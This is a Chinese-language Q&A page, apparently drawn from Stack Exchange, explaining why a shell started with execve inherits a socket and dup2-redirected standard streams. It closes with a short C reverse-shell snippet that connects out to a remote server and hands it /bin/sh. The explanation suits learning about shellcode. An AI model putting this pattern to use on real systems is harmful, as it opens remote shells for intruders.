为何使用execve创建远程shell不会覆盖文件描述符和套接字?
关于execve与远程shell文件描述符的疑问解答
这个问题问到了反向shell实现的核心细节,我刚接触灰帽黑客相关内容时也纠结过这个点,咱们一步步拆解清楚:
首先得明确两个关键概念的本质区别:
- 用户态内存:就是你提到的进程文本、数据、bss、栈这些区域,它们是进程运行在用户空间的内存资源,execve执行成功后会被新程序完全覆盖替换。
- 内核级文件描述符表:这是内核为每个进程单独维护的一张表,记录了进程打开的所有文件、套接字的引用关系,它不属于用户态内存范畴,execve默认会完整继承这张表(除非给特定文件描述符设置了FD_CLOEXEC标志)。
1. Socket的文件描述符会不会被覆盖?
完全不会。socket()返回的文件描述符是内核给当前套接字分配的索引,它存储在内核的fd表中,和进程的用户态内存没有关联。execve只会替换用户态的内存数据,根本碰不到内核维护的fd表,所以这个套接字fd会被新启动的程序(比如/bin/sh)完整继承下来。
2. 重定向的stdin/stdout/stderr会不会重置?
也不会。当我们执行dup2(sockfd, 0)、dup2(sockfd, 1)、dup2(sockfd, 2)这些操作时,本质是修改内核fd表中0、1、2这三个默认位置的映射关系,让它们指向socket对应的内核文件结构体,而非原来的终端设备。
execve启动新程序后,新程序的fd表是从父进程(也就是我们的shellcode进程)直接继承来的,所以0、1、2依然指向那个远程socket。这时候新程序(比如shell)的标准输入、输出、错误输出就都绑定到了远程套接字上,自然就能实现和控制端的交互通信了。
补充:FD_CLOEXEC的特殊情况
如果我们给socket的fd设置了FD_CLOEXEC标志(通过fcntl函数配置),那execve执行时会自动关闭这个fd。但在反向shell的场景里,我们肯定不会这么做,所以默认都是让fd被新进程继承的。
举个简化的反向shell代码片段来直观理解:
int sockfd = socket(AF_INET, SOCK_STREAM, 0); connect(sockfd, &server_addr, sizeof(server_addr)); // 将标准输入/输出/错误重定向到socket dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); // 启动shell,此时shell的0/1/2均指向远程socket execve("/bin/sh", NULL, NULL);
内容的提问来源于stack exchange,提问作者Nark
相关产品推荐
相关产品推荐

